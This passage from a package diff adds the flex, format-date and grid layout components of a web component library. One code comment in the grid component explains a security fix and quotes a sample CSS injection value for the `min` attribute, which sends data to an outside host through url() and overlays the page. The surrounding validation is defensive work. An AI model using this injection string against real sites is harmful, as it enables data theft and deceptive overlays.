- package/dist/tabs/tab/tab.css.d.ts +1 -0
- package/dist/tabs/tab/tab.css.js +57 -0
- package/dist/tabs/tab/tab.d.ts +26 -0
- package/dist/tabs/tab/tab.js +32 -0
- package/dist/tag/index.d.ts +1 -0
- package/dist/tag/index.js +1 -0
- package/dist/tag/root/tag-root.css.d.ts +1 -0
- package/dist/tag/root/tag-root.css.js +112 -0
- package/dist/tag/root/tag-root.d.ts +66 -0
- package/dist/tag/root/tag-root.js +48 -0
- package/dist/text/index.d.ts +1 -0
- package/dist/text/index.js +1 -0
- package/dist/text/root/text-root.css.d.ts +1 -0
- package/dist/text/root/text-root.css.js +113 -0
- package/dist/text/root/text-root.d.ts +83 -0
- package/dist/text/root/text-root.js +92 -0
- package/dist/textarea/index.d.ts +1 -0
- package/dist/textarea/index.js +1 -0
- package/dist/textarea/root/textarea-root.css.d.ts +1 -0
- package/dist/textarea/root/textarea-root.css.js +79 -0
- package/dist/textarea/root/textarea-root.d.ts +27 -0
- package/dist/textarea/root/textarea-root.js +35 -0
- package/dist/time-input/index.d.ts +1 -0
- package/dist/time-input/index.js +1 -0
- package/dist/time-input/root/time-input-root.css.d.ts +1 -0
- package/dist/time-input/root/time-input-root.css.js +184 -0
- package/dist/time-input/root/time-input-root.d.ts +42 -0
- package/dist/time-input/root/time-input-root.js +53 -0
- package/dist/time-picker/index.d.ts +1 -0
- package/dist/time-picker/index.js +1 -0
- package/dist/time-picker/root/time-picker-root.css.d.ts +1 -0
- package/dist/time-picker/root/time-picker-root.css.js +147 -0
- package/dist/time-picker/root/time-picker-root.d.ts +38 -0
- package/dist/time-picker/root/time-picker-root.js +48 -0
- package/dist/timeline/index.d.ts +2 -0
- package/dist/timeline/index.js +2 -0
- package/dist/timeline/item/timeline-item.css.d.ts +1 -0
- package/dist/timeline/item/timeline-item.css.js +111 -0
- package/dist/timeline/item/timeline-item.d.ts +27 -0
- package/dist/timeline/item/timeline-item.js +33 -0
- package/dist/timeline/root/timeline-root.css.d.ts +1 -0
- package/dist/timeline/root/timeline-root.css.js +12 -0
- package/dist/timeline/root/timeline-root.d.ts +25 -0
- package/dist/timeline/root/timeline-root.js +31 -0
- package/dist/toast/index.d.ts +2 -0
- package/dist/toast/index.js +2 -0
- package/dist/toast/item/toast-item.css.d.ts +1 -0
- package/dist/toast/item/toast-item.css.js +233 -0
- package/dist/toast/item/toast-item.d.ts +31 -0
- package/dist/toast/item/toast-item.js +37 -0
- package/dist/toast/root/toast-root.css.d.ts +1 -0
- package/dist/toast/root/toast-root.css.js +66 -0
- package/dist/toast/root/toast-root.d.ts +37 -0
- package/dist/toast/root/toast-root.js +43 -0
- package/dist/toggle/group/toggle-group.css.d.ts +1 -0
- package/dist/toggle/group/toggle-group.css.js +118 -0
- package/dist/toggle/group/toggle-group.d.ts +49 -0
- package/dist/toggle/group/toggle-group.js +47 -0
- package/dist/toggle/index.d.ts +2 -0
- package/dist/toggle/index.js +2 -0
- package/dist/toggle/root/toggle-root.css.d.ts +1 -0
- package/dist/toggle/root/toggle-root.css.js +25 -0
- package/dist/toggle/root/toggle-root.d.ts +28 -0
- package/dist/toggle/root/toggle-root.js +34 -0
- package/dist/toolbar/index.d.ts +1 -0
- package/dist/toolbar/index.js +1 -0
- package/dist/toolbar/root/toolbar-root.css.d.ts +1 -0
- package/dist/toolbar/root/toolbar-root.css.js +28 -0
- package/dist/toolbar/root/toolbar-root.d.ts +29 -0
- package/dist/toolbar/root/toolbar-root.js +35 -0
- package/dist/tooltip/index.d.ts +1 -0
- package/dist/tooltip/index.js +1 -0
- package/dist/tooltip/root/tooltip-root.css.d.ts +1 -0
- package/dist/tooltip/root/tooltip-root.css.js +121 -0
- package/dist/tooltip/root/tooltip-root.d.ts +63 -0
- package/dist/tooltip/root/tooltip-root.js +42 -0
- package/dist/tour/index.d.ts +2 -0
- package/dist/tour/index.js +2 -0
- package/dist/tour/root/tour-root.css.d.ts +1 -0
- package/dist/tour/root/tour-root.css.js +30 -0
- package/dist/tour/root/tour-root.d.ts +24 -0
- package/dist/tour/root/tour-root.js +30 -0
- package/dist/tour/stop/tour-stop.css.d.ts +1 -0
- package/dist/tour/stop/tour-stop.css.js +77 -0
- package/dist/tour/stop/tour-stop.d.ts +34 -0
- package/dist/tour/stop/tour-stop.js +40 -0
- package/dist/tree/index.d.ts +2 -0
- package/dist/tree/index.js +2 -0
- package/dist/tree/item/tree-item.css.d.ts +1 -0
- package/dist/tree/item/tree-item.css.js +177 -0
- package/dist/tree/item/tree-item.d.ts +44 -0
- package/dist/tree/item/tree-item.js +50 -0
- package/dist/tree/root/tree-root.css.d.ts +1 -0
- package/dist/tree/root/tree-root.css.js +43 -0
- package/dist/tree/root/tree-root.d.ts +63 -0
- package/dist/tree/root/tree-root.js +47 -0
- package/dist/trend/index.d.ts +1 -0
- package/dist/trend/index.js +1 -0
- package/dist/trend/root/trend-root.css.d.ts +1 -0
- package/dist/trend/root/trend-root.css.js +50 -0
- package/dist/trend/root/trend-root.d.ts +48 -0
- package/dist/trend/root/trend-root.js +55 -0
- package/dist/video/index.d.ts +1 -0
- package/dist/video/index.js +1 -0
- package/dist/video/root/video-root.css.d.ts +1 -0
- package/dist/video/root/video-root.css.js +404 -0
- package/dist/video/root/video-root.d.ts +87 -0
- package/dist/video/root/video-root.js +61 -0
- package/dist/video-playlist/index.d.ts +3 -0
- package/dist/video-playlist/index.js +3 -0
- package/dist/video-playlist/item/video-playlist-item.css.d.ts +1 -0
- package/dist/video-playlist/item/video-playlist-item.css.js +95 -0
- package/dist/video-playlist/item/video-playlist-item.d.ts +25 -0
- package/dist/video-playlist/item/video-playlist-item.js +31 -0
- package/dist/video-playlist/menu/video-playlist-menu.css.d.ts +1 -0
- package/dist/video-playlist/menu/video-playlist-menu.css.js +44 -0
- package/dist/video-playlist/menu/video-playlist-menu.d.ts +43 -0
- package/dist/video-playlist/menu/video-playlist-menu.js +56 -0
- package/dist/video-playlist/root/video-playlist-root.css.d.ts +1 -0
- package/dist/video-playlist/root/video-playlist-root.css.js +21 -0
- package/dist/video-playlist/root/video-playlist-root.d.ts +26 -0
- package/dist/video-playlist/root/video-playlist-root.js +32 -0
- package/dist/virtual-list/index.d.ts +1 -0
- package/dist/virtual-list/index.js +1 -0
- package/dist/virtual-list/root/virtual-list-root.css.d.ts +1 -0
- package/dist/virtual-list/root/virtual-list-root.css.js +27 -0
- package/dist/virtual-list/root/virtual-list-root.d.ts +31 -0
- package/dist/virtual-list/root/virtual-list-root.js +37 -0
- package/elements.css +287 -0
- package/jsx.d.ts +54748 -0
- package/package.json +80 -0
- package/svelte.d.ts +139 -0
- package/vue.d.ts +11511 -0
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
import { HelixElement } from '@fusion.dev/helix-core';
|
|
2
|
+
import type { CSSResultGroup, TemplateResult } from 'lit';
|
|
3
|
+
/**
|
|
4
|
+
* @summary Lays children out in a row or a column.
|
|
5
|
+
*
|
|
6
|
+
* @description
|
|
7
|
+
* The host is the flex container itself and the only child is a slot, so the
|
|
8
|
+
* element adds no box of its own: `<helix-flex>` costs exactly the `<div>` it
|
|
9
|
+
* replaces.
|
|
10
|
+
*
|
|
11
|
+
* There is no separate Stack. A stack is this with `direction="column"`, and a
|
|
12
|
+
* second element whose whole definition is one default of the first is a name
|
|
13
|
+
* to learn rather than a capability to gain.
|
|
14
|
+
*
|
|
15
|
+
* Gap takes a space token name rather than a length, so spacing stays on the
|
|
16
|
+
* scale. A layout that can say `gap="13px"` is one that will.
|
|
17
|
+
*
|
|
18
|
+
* Presentation only, so there is no headless tier: the split exists to keep
|
|
19
|
+
* behavior separate from styling, and this is entirely styling.
|
|
20
|
+
*
|
|
21
|
+
* @since 0.1.0
|
|
22
|
+
* @status stable
|
|
23
|
+
* @category layout
|
|
24
|
+
* @aliases Stack, Row, Column, HStack, VStack
|
|
25
|
+
* @documentation https://helix.fusion.dev/components/flex
|
|
26
|
+
*
|
|
27
|
+
* @slot - The items to lay out.
|
|
28
|
+
*/
|
|
29
|
+
export declare class HelixFlex extends HelixElement {
|
|
30
|
+
/**
|
|
31
|
+
* Whether items run across or down.
|
|
32
|
+
*/
|
|
33
|
+
direction?: 'row' | 'column';
|
|
34
|
+
/**
|
|
35
|
+
* Space between items, named on the space scale.
|
|
36
|
+
*/
|
|
37
|
+
gap?: 'none' | '2xs' | 'xs' | 'sm' | 'md' | 'lg' | 'xl' | '2xl' | '3xl';
|
|
38
|
+
/**
|
|
39
|
+
* Alignment across the direction.
|
|
40
|
+
*/
|
|
41
|
+
align?: 'start' | 'center' | 'end' | 'stretch' | 'baseline';
|
|
42
|
+
/**
|
|
43
|
+
* Distribution along the direction.
|
|
44
|
+
*/
|
|
45
|
+
justify?: 'start' | 'center' | 'end' | 'between' | 'around';
|
|
46
|
+
/**
|
|
47
|
+
* Whether items wrap onto more lines.
|
|
48
|
+
*/
|
|
49
|
+
wrap: boolean;
|
|
50
|
+
/**
|
|
51
|
+
* Flows with surrounding text instead of taking the full width.
|
|
52
|
+
*/
|
|
53
|
+
inline: boolean;
|
|
54
|
+
protected render(): TemplateResult;
|
|
55
|
+
static styles: CSSResultGroup;
|
|
56
|
+
}
|
|
57
|
+
declare global {
|
|
58
|
+
interface HTMLElementTagNameMap {
|
|
59
|
+
'helix-flex': HelixFlex;
|
|
60
|
+
}
|
|
61
|
+
}
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
|
|
2
|
+
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
|
|
3
|
+
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
|
|
4
|
+
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
|
|
5
|
+
return c > 3 && r && Object.defineProperty(target, key, r), r;
|
|
6
|
+
};
|
|
7
|
+
import { customElement, HelixElement } from '@fusion.dev/helix-core';
|
|
8
|
+
import { html } from 'lit';
|
|
9
|
+
import { property } from 'lit/decorators.js';
|
|
10
|
+
import { styles } from './flex-root.css.js';
|
|
11
|
+
/**
|
|
12
|
+
* @summary Lays children out in a row or a column.
|
|
13
|
+
*
|
|
14
|
+
* @description
|
|
15
|
+
* The host is the flex container itself and the only child is a slot, so the
|
|
16
|
+
* element adds no box of its own: `<helix-flex>` costs exactly the `<div>` it
|
|
17
|
+
* replaces.
|
|
18
|
+
*
|
|
19
|
+
* There is no separate Stack. A stack is this with `direction="column"`, and a
|
|
20
|
+
* second element whose whole definition is one default of the first is a name
|
|
21
|
+
* to learn rather than a capability to gain.
|
|
22
|
+
*
|
|
23
|
+
* Gap takes a space token name rather than a length, so spacing stays on the
|
|
24
|
+
* scale. A layout that can say `gap="13px"` is one that will.
|
|
25
|
+
*
|
|
26
|
+
* Presentation only, so there is no headless tier: the split exists to keep
|
|
27
|
+
* behavior separate from styling, and this is entirely styling.
|
|
28
|
+
*
|
|
29
|
+
* @since 0.1.0
|
|
30
|
+
* @status stable
|
|
31
|
+
* @category layout
|
|
32
|
+
* @aliases Stack, Row, Column, HStack, VStack
|
|
33
|
+
* @documentation https://helix.fusion.dev/components/flex
|
|
34
|
+
*
|
|
35
|
+
* @slot - The items to lay out.
|
|
36
|
+
*/
|
|
37
|
+
let HelixFlex = class HelixFlex extends HelixElement {
|
|
38
|
+
constructor() {
|
|
39
|
+
super(...arguments);
|
|
40
|
+
/**
|
|
41
|
+
* Whether items wrap onto more lines.
|
|
42
|
+
*/
|
|
43
|
+
this.wrap = false;
|
|
44
|
+
/**
|
|
45
|
+
* Flows with surrounding text instead of taking the full width.
|
|
46
|
+
*/
|
|
47
|
+
this.inline = false;
|
|
48
|
+
}
|
|
49
|
+
render() {
|
|
50
|
+
return html `<slot></slot>`;
|
|
51
|
+
}
|
|
52
|
+
static { this.styles = styles; }
|
|
53
|
+
};
|
|
54
|
+
__decorate([
|
|
55
|
+
property({ reflect: true })
|
|
56
|
+
], HelixFlex.prototype, "direction", void 0);
|
|
57
|
+
__decorate([
|
|
58
|
+
property({ reflect: true })
|
|
59
|
+
], HelixFlex.prototype, "gap", void 0);
|
|
60
|
+
__decorate([
|
|
61
|
+
property({ reflect: true })
|
|
62
|
+
], HelixFlex.prototype, "align", void 0);
|
|
63
|
+
__decorate([
|
|
64
|
+
property({ reflect: true })
|
|
65
|
+
], HelixFlex.prototype, "justify", void 0);
|
|
66
|
+
__decorate([
|
|
67
|
+
property({ reflect: true, type: Boolean })
|
|
68
|
+
], HelixFlex.prototype, "wrap", void 0);
|
|
69
|
+
__decorate([
|
|
70
|
+
property({ reflect: true, type: Boolean })
|
|
71
|
+
], HelixFlex.prototype, "inline", void 0);
|
|
72
|
+
HelixFlex = __decorate([
|
|
73
|
+
customElement('helix-flex')
|
|
74
|
+
], HelixFlex);
|
|
75
|
+
export { HelixFlex };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export { HelixFormatDate } from './root/format-date-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export { HelixFormatDate } from './root/format-date-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare const styles: import("lit").CSSResult;
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
// Generated from src/format-date/root/format-date-root.css by `bun run styles`. Do not edit.
|
|
2
|
+
import { createSheet } from '@fusion.dev/helix-core';
|
|
3
|
+
export const styles = createSheet(`:host {
|
|
4
|
+
display: inline;
|
|
5
|
+
}
|
|
6
|
+
|
|
7
|
+
:host([elapsed]) {
|
|
8
|
+
font-variant-numeric: tabular-nums;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
@media print {
|
|
12
|
+
:host([elapsed]) [part="time"]::after {
|
|
13
|
+
content: " (" attr(datetime) ")";
|
|
14
|
+
}
|
|
15
|
+
}`);
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import { HelixHeadlessFormatDate } from '@fusion.dev/helix-headless/format-date';
|
|
2
|
+
import type { CSSResultGroup } from 'lit';
|
|
3
|
+
/**
|
|
4
|
+
* @summary A timestamp, written the way the reader's locale writes one.
|
|
5
|
+
*
|
|
6
|
+
* @description
|
|
7
|
+
* The base tier does the reading; this adds the one thing a design system has to
|
|
8
|
+
* say about it. A timestamp takes the family, size and color of the text around
|
|
9
|
+
* it, so almost nothing here is a decision. The exception is figures: an elapsed
|
|
10
|
+
* reading counts up under the reader, and proportional digits move the trailing
|
|
11
|
+
* edge as it does, which in a feed is a whole column shifting whenever any row
|
|
12
|
+
* in it ticks over. `tabular-nums` in that mode and not in the other, because a
|
|
13
|
+
* date is written once and should sit in the text like the text.
|
|
14
|
+
*
|
|
15
|
+
* @since 0.1.0
|
|
16
|
+
* @status experimental
|
|
17
|
+
* @category typography
|
|
18
|
+
* @documentation https://helix.fusion.dev/components/format-date
|
|
19
|
+
*/
|
|
20
|
+
export declare class HelixFormatDate extends HelixHeadlessFormatDate {
|
|
21
|
+
static tier: string;
|
|
22
|
+
static styles: CSSResultGroup;
|
|
23
|
+
}
|
|
24
|
+
declare global {
|
|
25
|
+
interface HTMLElementTagNameMap {
|
|
26
|
+
'helix-format-date': HelixFormatDate;
|
|
27
|
+
}
|
|
28
|
+
}
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
|
|
2
|
+
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
|
|
3
|
+
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
|
|
4
|
+
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
|
|
5
|
+
return c > 3 && r && Object.defineProperty(target, key, r), r;
|
|
6
|
+
};
|
|
7
|
+
import { customElement } from '@fusion.dev/helix-core';
|
|
8
|
+
import { HelixHeadlessFormatDate } from '@fusion.dev/helix-headless/format-date';
|
|
9
|
+
import { styles } from './format-date-root.css.js';
|
|
10
|
+
/**
|
|
11
|
+
* @summary A timestamp, written the way the reader's locale writes one.
|
|
12
|
+
*
|
|
13
|
+
* @description
|
|
14
|
+
* The base tier does the reading; this adds the one thing a design system has to
|
|
15
|
+
* say about it. A timestamp takes the family, size and color of the text around
|
|
16
|
+
* it, so almost nothing here is a decision. The exception is figures: an elapsed
|
|
17
|
+
* reading counts up under the reader, and proportional digits move the trailing
|
|
18
|
+
* edge as it does, which in a feed is a whole column shifting whenever any row
|
|
19
|
+
* in it ticks over. `tabular-nums` in that mode and not in the other, because a
|
|
20
|
+
* date is written once and should sit in the text like the text.
|
|
21
|
+
*
|
|
22
|
+
* @since 0.1.0
|
|
23
|
+
* @status experimental
|
|
24
|
+
* @category typography
|
|
25
|
+
* @documentation https://helix.fusion.dev/components/format-date
|
|
26
|
+
*/
|
|
27
|
+
let HelixFormatDate = class HelixFormatDate extends HelixHeadlessFormatDate {
|
|
28
|
+
static { this.tier = 'helix-'; }
|
|
29
|
+
static { this.styles = styles; }
|
|
30
|
+
};
|
|
31
|
+
HelixFormatDate = __decorate([
|
|
32
|
+
customElement('helix-format-date')
|
|
33
|
+
], HelixFormatDate);
|
|
34
|
+
export { HelixFormatDate };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export * from './root/grid-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export * from './root/grid-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare const styles: import("lit").CSSResult;
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
// Generated from src/grid/root/grid-root.css by `bun run styles`. Do not edit.
|
|
2
|
+
import { createSheet } from '@fusion.dev/helix-core';
|
|
3
|
+
export const styles = createSheet(`:host {
|
|
4
|
+
display: grid;
|
|
5
|
+
|
|
6
|
+
gap: var(--helix-space-none);
|
|
7
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, minmax(0, 1fr)));
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
:host([columns="2"]) {
|
|
11
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, repeat(2, minmax(0, 1fr))));
|
|
12
|
+
}
|
|
13
|
+
:host([columns="3"]) {
|
|
14
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, repeat(3, minmax(0, 1fr))));
|
|
15
|
+
}
|
|
16
|
+
:host([columns="4"]) {
|
|
17
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, repeat(4, minmax(0, 1fr))));
|
|
18
|
+
}
|
|
19
|
+
:host([columns="5"]) {
|
|
20
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, repeat(5, minmax(0, 1fr))));
|
|
21
|
+
}
|
|
22
|
+
:host([columns="6"]) {
|
|
23
|
+
grid-template-columns: var(--grid-columns, var(--_grid-template, repeat(6, minmax(0, 1fr))));
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
:host([gap="none"]) {
|
|
27
|
+
gap: var(--helix-space-none);
|
|
28
|
+
}
|
|
29
|
+
:host([gap="2xs"]) {
|
|
30
|
+
gap: var(--helix-space-2xs);
|
|
31
|
+
}
|
|
32
|
+
:host([gap="xs"]) {
|
|
33
|
+
gap: var(--helix-space-xs);
|
|
34
|
+
}
|
|
35
|
+
:host([gap="sm"]) {
|
|
36
|
+
gap: var(--helix-space-sm);
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
:host([gap="md"]) {
|
|
40
|
+
gap: var(--helix-space-md);
|
|
41
|
+
}
|
|
42
|
+
:host([gap="lg"]) {
|
|
43
|
+
gap: var(--helix-space-lg);
|
|
44
|
+
}
|
|
45
|
+
:host([gap="xl"]) {
|
|
46
|
+
gap: var(--helix-space-xl);
|
|
47
|
+
}
|
|
48
|
+
:host([gap="2xl"]) {
|
|
49
|
+
gap: var(--helix-space-2xl);
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
:host([gap="3xl"]) {
|
|
53
|
+
gap: var(--helix-space-3xl);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
:host([align]) {
|
|
57
|
+
text-align: inherit;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
:host([align="start"]) {
|
|
61
|
+
align-items: start;
|
|
62
|
+
}
|
|
63
|
+
:host([align="center"]) {
|
|
64
|
+
align-items: center;
|
|
65
|
+
}
|
|
66
|
+
:host([align="end"]) {
|
|
67
|
+
align-items: end;
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
@media print {
|
|
71
|
+
:host {
|
|
72
|
+
box-shadow: none;
|
|
73
|
+
}
|
|
74
|
+
}`);
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
import { HelixElement } from '@fusion.dev/helix-core';
|
|
2
|
+
import type { CSSResultGroup, PropertyValues, TemplateResult } from 'lit';
|
|
3
|
+
/**
|
|
4
|
+
* @summary Lays children out on a grid.
|
|
5
|
+
*
|
|
6
|
+
* @description
|
|
7
|
+
* Two ways to declare columns, and only two. `columns` is a fixed count;
|
|
8
|
+
* `min` fills as many equal columns as fit above that width, which is a
|
|
9
|
+
* responsive layout with no breakpoint to maintain. Setting `min` wins, because
|
|
10
|
+
* a fixed count that also reflows is two intentions in one element.
|
|
11
|
+
*
|
|
12
|
+
* Presentation only, so there is no headless tier.
|
|
13
|
+
*
|
|
14
|
+
* @since 0.1.0
|
|
15
|
+
* @status stable
|
|
16
|
+
* @category layout
|
|
17
|
+
* @aliases Layout, Columns
|
|
18
|
+
* @documentation https://helix.fusion.dev/components/grid
|
|
19
|
+
*
|
|
20
|
+
* @slot - The items to lay out.
|
|
21
|
+
*
|
|
22
|
+
* @cssproperty --grid-columns - An explicit track list, which wins over `min` and `columns`. For a layout of unequal tracks, which neither attribute can say.
|
|
23
|
+
*/
|
|
24
|
+
export declare class HelixGrid extends HelixElement {
|
|
25
|
+
/**
|
|
26
|
+
* Fixed number of equal columns.
|
|
27
|
+
*/
|
|
28
|
+
columns?: number;
|
|
29
|
+
/**
|
|
30
|
+
* Minimum column width, filling as many as fit.
|
|
31
|
+
*
|
|
32
|
+
* Takes precedence over `columns`: a grid that both fixes a count and reflows
|
|
33
|
+
* is two intentions in one element.
|
|
34
|
+
*/
|
|
35
|
+
min: string;
|
|
36
|
+
/**
|
|
37
|
+
* Space between cells, named on the space scale.
|
|
38
|
+
*/
|
|
39
|
+
gap?: 'none' | '2xs' | 'xs' | 'sm' | 'md' | 'lg' | 'xl' | '2xl' | '3xl';
|
|
40
|
+
/**
|
|
41
|
+
* Alignment of each cell within its row.
|
|
42
|
+
*/
|
|
43
|
+
align?: 'start' | 'center' | 'end' | 'stretch';
|
|
44
|
+
/**
|
|
45
|
+
* Writes the track list into the shadow root's own stylesheet.
|
|
46
|
+
*
|
|
47
|
+
* Into a `<style>` rather than onto `this.style`, and the difference is
|
|
48
|
+
* hydration. An inline style on the host is an attribute the element gives
|
|
49
|
+
* itself once it upgrades, so a React consumer's server markup does not have
|
|
50
|
+
* it and hydration reports a mismatch it will not patch up. The shadow root
|
|
51
|
+
* is not part of the tree React hydrates, so a rule written there is free.
|
|
52
|
+
*
|
|
53
|
+
* The element is filled imperatively because Lit refuses expressions inside
|
|
54
|
+
* `<style>`: it is an invalid binding location and throws while rendering
|
|
55
|
+
* rather than at build time. Hence a static, empty element in the template
|
|
56
|
+
* and its `textContent` set here.
|
|
57
|
+
*
|
|
58
|
+
* It sets a custom property rather than the track list itself. A shadow
|
|
59
|
+
* root's adopted stylesheets cascade *after* its own `<style>` elements, and
|
|
60
|
+
* `static styles` is adopted, so a `grid-template-columns` here lost to the
|
|
61
|
+
* one in the stylesheet and every `min` grid came out a single column. The
|
|
62
|
+
* stylesheet only ever reads `--_grid-template`, so there is nothing to
|
|
63
|
+
* lose against.
|
|
64
|
+
*
|
|
65
|
+
* The consequence is that a server-rendered grid falls back to the
|
|
66
|
+
* stylesheet's single column until it upgrades. That is why `columns` is also
|
|
67
|
+
* expressed as plain CSS below: the fixed-count case, which can be enumerated,
|
|
68
|
+
* needs no JavaScript at all, and only `min` depends on this.
|
|
69
|
+
*/
|
|
70
|
+
private applyTemplate;
|
|
71
|
+
protected updated(changed: PropertyValues): void;
|
|
72
|
+
protected render(): TemplateResult;
|
|
73
|
+
static styles: CSSResultGroup;
|
|
74
|
+
}
|
|
75
|
+
declare global {
|
|
76
|
+
interface HTMLElementTagNameMap {
|
|
77
|
+
'helix-grid': HelixGrid;
|
|
78
|
+
}
|
|
79
|
+
}
|
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
|
|
2
|
+
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
|
|
3
|
+
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
|
|
4
|
+
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
|
|
5
|
+
return c > 3 && r && Object.defineProperty(target, key, r), r;
|
|
6
|
+
};
|
|
7
|
+
import { customElement, HelixElement } from '@fusion.dev/helix-core';
|
|
8
|
+
import { html } from 'lit';
|
|
9
|
+
import { property } from 'lit/decorators.js';
|
|
10
|
+
import { styles } from './grid-root.css.js';
|
|
11
|
+
/**
|
|
12
|
+
* @summary Lays children out on a grid.
|
|
13
|
+
*
|
|
14
|
+
* @description
|
|
15
|
+
* Two ways to declare columns, and only two. `columns` is a fixed count;
|
|
16
|
+
* `min` fills as many equal columns as fit above that width, which is a
|
|
17
|
+
* responsive layout with no breakpoint to maintain. Setting `min` wins, because
|
|
18
|
+
* a fixed count that also reflows is two intentions in one element.
|
|
19
|
+
*
|
|
20
|
+
* Presentation only, so there is no headless tier.
|
|
21
|
+
*
|
|
22
|
+
* @since 0.1.0
|
|
23
|
+
* @status stable
|
|
24
|
+
* @category layout
|
|
25
|
+
* @aliases Layout, Columns
|
|
26
|
+
* @documentation https://helix.fusion.dev/components/grid
|
|
27
|
+
*
|
|
28
|
+
* @slot - The items to lay out.
|
|
29
|
+
*
|
|
30
|
+
* @cssproperty --grid-columns - An explicit track list, which wins over `min` and `columns`. For a layout of unequal tracks, which neither attribute can say.
|
|
31
|
+
*/
|
|
32
|
+
let HelixGrid = class HelixGrid extends HelixElement {
|
|
33
|
+
constructor() {
|
|
34
|
+
super(...arguments);
|
|
35
|
+
/**
|
|
36
|
+
* Minimum column width, filling as many as fit.
|
|
37
|
+
*
|
|
38
|
+
* Takes precedence over `columns`: a grid that both fixes a count and reflows
|
|
39
|
+
* is two intentions in one element.
|
|
40
|
+
*/
|
|
41
|
+
this.min = '';
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Writes the track list into the shadow root's own stylesheet.
|
|
45
|
+
*
|
|
46
|
+
* Into a `<style>` rather than onto `this.style`, and the difference is
|
|
47
|
+
* hydration. An inline style on the host is an attribute the element gives
|
|
48
|
+
* itself once it upgrades, so a React consumer's server markup does not have
|
|
49
|
+
* it and hydration reports a mismatch it will not patch up. The shadow root
|
|
50
|
+
* is not part of the tree React hydrates, so a rule written there is free.
|
|
51
|
+
*
|
|
52
|
+
* The element is filled imperatively because Lit refuses expressions inside
|
|
53
|
+
* `<style>`: it is an invalid binding location and throws while rendering
|
|
54
|
+
* rather than at build time. Hence a static, empty element in the template
|
|
55
|
+
* and its `textContent` set here.
|
|
56
|
+
*
|
|
57
|
+
* It sets a custom property rather than the track list itself. A shadow
|
|
58
|
+
* root's adopted stylesheets cascade *after* its own `<style>` elements, and
|
|
59
|
+
* `static styles` is adopted, so a `grid-template-columns` here lost to the
|
|
60
|
+
* one in the stylesheet and every `min` grid came out a single column. The
|
|
61
|
+
* stylesheet only ever reads `--_grid-template`, so there is nothing to
|
|
62
|
+
* lose against.
|
|
63
|
+
*
|
|
64
|
+
* The consequence is that a server-rendered grid falls back to the
|
|
65
|
+
* stylesheet's single column until it upgrades. That is why `columns` is also
|
|
66
|
+
* expressed as plain CSS below: the fixed-count case, which can be enumerated,
|
|
67
|
+
* needs no JavaScript at all, and only `min` depends on this.
|
|
68
|
+
*/
|
|
69
|
+
applyTemplate() {
|
|
70
|
+
const sheet = this.renderRoot.querySelector('#template');
|
|
71
|
+
if (!sheet) {
|
|
72
|
+
return;
|
|
73
|
+
}
|
|
74
|
+
/* **`min` is checked against a length before it reaches a stylesheet, and
|
|
75
|
+
that is a security fix rather than tidiness.** It is a public attribute
|
|
76
|
+
and it was concatenated into a `<style>` element's text, so
|
|
77
|
+
`min="1px,1fr)} :host{background:url(//elsewhere/?stolen)} @media all{"`
|
|
78
|
+
closed the rule and wrote arbitrary CSS into this component's shadow
|
|
79
|
+
root. That is enough to exfiltrate through `url()` and to lay an
|
|
80
|
+
invisible plate over the page.
|
|
81
|
+
*
|
|
82
|
+
* `createSheet` says in its own documentation that consumer input must not
|
|
83
|
+
* be interpolated into CSS, and this was the one place in the library that
|
|
84
|
+
* did it. A pattern rather than an escape, because a length has a small,
|
|
85
|
+
* known grammar and anything outside it is a mistake worth ignoring rather
|
|
86
|
+
* than a string worth repairing. */
|
|
87
|
+
const length = /^-?(?:\d+\.?\d*|\.\d+)(?:px|r?em|%|v[hw]|ch|ex|cm|mm|in|pt|pc|q)$/i;
|
|
88
|
+
const min = this.min?.trim() ?? '';
|
|
89
|
+
sheet.textContent =
|
|
90
|
+
